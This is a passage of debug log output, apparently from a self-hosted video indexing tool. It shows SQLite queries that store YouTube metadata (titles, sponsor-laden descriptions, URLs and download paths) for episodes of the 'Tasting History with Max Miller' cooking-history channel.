("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nListen to the Podcast I did with The Biographers at any of these links:\nApple Podcasts: https://podcasts.apple.com/us/podcast...\nSpotify: https://open.spotify.com/episode/1JlC...\nYouTube: \u00A0\u00A0\u00A0•\u00A0Bonus!\u00A0--\u00A0A\u00A0Taste\u00A0of\u00A0History:\u00A0An\u00A0Interview...\u00A0\u00A0\nWebsite: www.thebiographerspodcast.com\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #tesla", "Nikola Tesla's Weird Eating Habits", "1eac47fc-188b-4454-a8fd-e2398abf1b64", "LpfV-0kT56o", "https://www.youtube.com/watch?v=LpfV-0kT56o", false, false, 5, "/downloads/Tasting History with Max Miller/2026-02-24 Nikola Tesla's Weird Eating Habits/Nikola Tesla's Weird Eating Habits [LpfV-0kT56o].NA", false, false, 3, [], 98, ~U[2026-02-24 00:00:00Z], ~U[2026-03-29 06:51:23Z], ~U[2026-03-29 06:51:23Z], "Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nListen to the Podcast I did with The Biographers at any of these links:\nApple Podcasts: https://podcasts.apple.com/us/podcast...\nSpotify: https://open.spotify.com/episode/1JlC...\nYouTube: \u00A0\u00A0\u00A0•\u00A0Bonus!\u00A0--\u00A0A\u00A0Taste\u00A0of\u00A0History:\u00A0An\u00A0Interview...\u00A0\u00A0\nWebsite: www.thebiographerspodcast.com\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #tesla", "Nikola Tesla's Weird Eating Habits", "LpfV-0kT56o", "https://www.youtube.com/watch?v=LpfV-0kT56o", nil, false, "/downloads/Tasting History with Max Miller/2026-02-24 Nikola Tesla's Weird Eating Habits/Nikola Tesla's Weird Eating Habits [LpfV-0kT56o].NA", false, 3, ~U[2026-02-24 00:00:00Z]] 02:51:23.465 [debug] QUERY OK source="sources" db=0.3ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:23.466 [debug] QUERY OK source="media_items" db=1.2ms idle=4.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-17 00:00:00Z], 3] 02:51:23.474 [debug] QUERY OK source="media_items" db=7.1ms idle=5.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nWatch Anthony Clarke discuss the origins of the Altar Stone: \u00A0\u00A0\u00A0•\u00A0Online\u00A0Talk:\u00A0A\u00A0Scottish\u00A0provenance\u00A0for\u00A0the...\u00A0\u00A0\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nStonehenge - By garethwiscombe - https://www.flickr.com/photos/garethw..., CC BY 2.0, https://commons.wikimedia.org/w/index...\nDurrington Walls - By Ethan Doyle White - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index... \nLidar view of Knowlton - By Dr John Wells - Own work, CC BY 4.0, https://commons.wikimedia.org/w/index...\nAurochs Skeleton - By Marcus Sümnick from Rostock, Germany - Aurochs Uploaded by FunkMonk, CC BY-SA 2.0, https://commons.wikimedia.org/w/index...\nHazelnuts - By Ivar Leidus - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nAvebury - By MikPeach - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nMayburg Henge - By Chazza114 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nAn aerial view of the henge site and cairn on Cairnpapple Hill in West Lothian - By Dr John Wells - https://web.archive.org/web/201301191..., CC BY 3.0, https://commons.wikimedia.org/w/index...\nWoodhenge - CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nDitch at Avebury - CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nPreseli Hills - By Tony Holkham at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nAltar Stone - By The Stones of Stonehenge - http://www.stonesofstonehenge.org.uk, CC BY 4.0, https://commons.wikimedia.org/w/index...\nOrcadian Basin - By Mikenorton - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "What Did the Builders of Stonehenge Eat?", "a1c812c0-a966-48e4-a14e-010e8fbc8ad0", "i3L1g62Sy58", "https://www.youtube.com/watch?v=i3L1g62Sy58", false, false, 6, "/downloads/Tasting History with Max Miller/2026-02-17 What Did the Builders of Stonehenge Eat?/What Did the Builders of Stonehenge Eat? [i3L1g62Sy58].NA", false, false, 3, [], 98, ~U[2026-02-17 00:00:00Z], ~U[2026-03-29 06:51:23Z], ~U[2026-03-29 06:51:23Z], "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nWatch Anthony Clarke discuss the origins of the Altar Stone: \u00A0\u00A0\u00A0•\u00A0Online\u00A0Talk:\u00A0A\u00A0Scottish\u00A0provenance\u00A0for\u00A0the...\u00A0\u00A0\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nStonehenge - By garethwiscombe - https://www.flickr.com/photos/garethw..., CC BY 2.0, https://commons.wikimedia.org/w/index...\nDurrington Walls - By Ethan Doyle White - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index... \nLidar view of Knowlton - By Dr John Wells - Own work, CC BY 4.0, https://commons.wikimedia.org/w/index...\nAurochs Skeleton - By Marcus Sümnick from Rostock, Germany - Aurochs Uploaded by FunkMonk, CC BY-SA 2.0, https://commons.wikimedia.org/w/index...\nHazelnuts - By Ivar Leidus - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nAvebury - By MikPeach - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nMayburg Henge - By Chazza114 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nAn aerial view of the henge site and cairn on Cairnpapple Hill in West Lothian - By Dr John Wells - https://web.archive.org/web/201301191..., CC BY 3.0, https://commons.wikimedia.org/w/index...\nWoodhenge - CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nDitch at Avebury - CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nPreseli Hills - By Tony Holkham at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nAltar Stone - By The Stones of Stonehenge - http://www.stonesofstonehenge.org.uk, CC BY 4.0, https://commons.wikimedia.org/w/index...\nOrcadian Basin - By Mikenorton - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "What Did the Builders of Stonehenge Eat?", "i3L1g62Sy58", "https://www.youtube.com/watch?v=i3L1g62Sy58", nil, false, "/downloads/Tasting History with Max Miller/2026-02-17 What Did the Builders of Stonehenge Eat?/What Did the Builders of Stonehenge Eat? [i3L1g62Sy58].NA", false, 3, ~U[2026-02-17 00:00:00Z]] 02:51:23.474 [debug] QUERY OK source="sources" db=0.2ms idle=11.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:23.476 [debug] QUERY OK source="media_items" db=1.2ms idle=10.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-10 00:00:00Z], 3] 02:51:23.477 [debug] QUERY OK source="media_items" db=1.0ms idle=11.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get up to 40% off your first order at\nhttps://drinktrade.com/maxmiller \n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nOkra Cross Section - By Prathyush Thomas - Own work, GFDL 1.2, https://commons.wikimedia.org/w/index...\nOkra Growing - By Earth100 - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nSassafras leaves - By Randy Everette - Imported from 500px (archived version) by the Archive Team. (detail page), CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory #gumbo", "The History of Gumbo in New Orleans", "9a67fb07-657e-49c4-9035-b28cd3b93890", "99yi0FRF4uM", "https://www.youtube.com/watch?v=99yi0FRF4uM", false, false, 7, "/downloads/Tasting History with Max Miller/2026-02-10 The History of Gumbo in New Orleans/The History of Gumbo in New Orleans [99yi0FRF4uM].NA", false, false, 3, [], 98, ~U[2026-02-10 00:00:00Z], ~U[2026-03-29 06:51:23Z], ~U[2026-03-29 06:51:23Z], "Get up to 40% off your first order at\nhttps://drinktrade.com/maxmiller \n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nOkra Cross Section - By Prathyush Thomas - Own work, GFDL 1.2, https://commons.wikimedia.org/w/index...\nOkra Growing - By Earth100 - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nSassafras leaves - By Randy Everette - Imported from 500px (archived version) by the Archive Team. (detail page), CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory #gumbo", "The History of Gumbo in New Orleans", "99yi0FRF4uM", "https://www.youtube.com/watch?v=99yi0FRF4uM", nil, false, "/downloads/Tasting History with Max Miller/2026-02-10 The History of Gumbo in New Orleans/The History of Gumbo in New Orleans [99yi0FRF4uM].NA", false, 3, ~U[2026-02-10 00:00:00Z]] 02:51:23.478 [debug] QUERY OK source="sources" db=0.3ms idle=11.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:23.479 [debug] QUERY OK source="media_items" db=1.2ms idle=4.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-03 00:00:00Z], 3] 02:51:23.481 [debug] QUERY OK source="media_items" db=1.1ms idle=4.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thanks to Opera Browser for sponsoring this video. Download here - https://opr.as/Opera-browser-tastingh...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nKangaroo Meat - Maksym Kozlenko, CC BY-SA 4.0 https://creativecommons.org/licenses/..., via Wikimedia Commons\n\n#tastinghistory", "Cooking Kangaroo on the World War 2 Australian Home Front", "263ee656-3898-43c4-a88b-ae4bb0c03aa8", "myvdVmaa0GE", "https://www.youtube.com/watch?v=myvdVmaa0GE", false, false, 8, "/downloads/Tasting History with Max Miller/2026-02-03 Cooking Kangaroo on the World War 2 Australian Home Front/Cooking Kangaroo on the World War 2 Australian Home Front [myvdVmaa0GE].NA", false, false, 3, [], 98, ~U[2026-02-03 00:00:00Z], ~U[2026-03-29 06:51:23Z], ~U[2026-03-29 06:51:23Z], "Thanks to Opera Browser for sponsoring this video. Download here - https://opr.as/Opera-browser-tastingh...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nKangaroo Meat - Maksym Kozlenko, CC BY-SA 4.0 https://creativecommons.org/licenses/..., via Wikimedia Commons\n\n#tastinghistory", "Cooking Kangaroo on the World War 2 Australian Home Front", "myvdVmaa0GE", "https://www.youtube.com/watch?v=myvdVmaa0GE", nil, false, "/downloads/Tasting History with Max Miller/2026-02-03 Cooking Kangaroo on the World War 2 Australian Home Front/Cooking Kangaroo on the World War 2 Australian Home Front [myvdVmaa0GE].NA", false, 3, ~U[2026-02-03 00:00:00Z]] 02:51:23.481 [debug] QUERY OK source="sources" db=0.2ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:23.483 [debug] QUERY OK source="media_items" db=1.2ms idle=4.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-27 00:00:00Z], 3] 02:51:23.484 [debug] QUERY OK source="media_items" db=0.8ms idle=5.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #mozart", "Did This Meal Kill Mozart?", "cde8da7d-7456-4f46-aba0-82db09962a66", "R9Kw_3c88bQ", "https://www.youtube.com/watch?v=R9Kw_3c88bQ", false, false, 9, "/downloads/Tasting History with Max Miller/2026-01-27 Did This Meal Kill Mozart?/Did This Meal Kill Mozart? [R9Kw_3c88bQ].NA", false, false, 3, [], 98, ~U[2026-01-27 00:00:00Z], ~U[2026-03-29 06:51:23Z], ~U[2026-03-29 06:51:23Z], "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #mozart", "Did This Meal Kill Mozart?", "R9Kw_3c88bQ", "https://www.youtube.com/watch?v=R9Kw_3c88bQ", nil, false, "/downloads/Tasting History with Max Miller/2026-01-27 Did This Meal Kill Mozart?/Did This Meal Kill Mozart? [R9Kw_3c88bQ].NA", false, 3, ~U[2026-01-27 00:00:00Z]] 02:51:23.484 [debug] QUERY OK source="sources" db=0.2ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:23.486 [debug] QUERY OK source="media_items" db=1.2ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-20 00:00:00Z], 3] 02:51:23.488 [debug] QUERY OK source="media_items" db=2.0ms idle=4.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nVideo on the London Gin Craze - \u00A0\u00A0\u00A0•\u00A0The\u00A0London\u00A0Gin\u00A0Craze\u00A0and\u00A0Beyond\u00A0\u00A0\nVideo on Gruel - \u00A0\u00A0\u00A0•\u00A0What\u00A0is\u00A0Gruel?\u00A0\u00A0\nVideo on Lobscouse - \u00A0\u00A0\u00A0•\u00A0Lobscouse,\u00A0Hardtack\u00A0&\u00A0Navy\u00A0Sea\u00A0Cooks\u00A0\u00A0\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nThe Workhouse Cookbook by Peter Higginbotham - https://amzn.to/4b9Bzvr\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings", "1c9d4ce3-b397-408c-a160-d99d546a37c4", "zjMQgMshYM8", "https://www.youtube.com/watch?v=zjMQgMshYM8", false, false, 10, "/downloads/Tasting History with Max Miller/2026-01-20 Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings/Eating Like a Victorian Workhouse 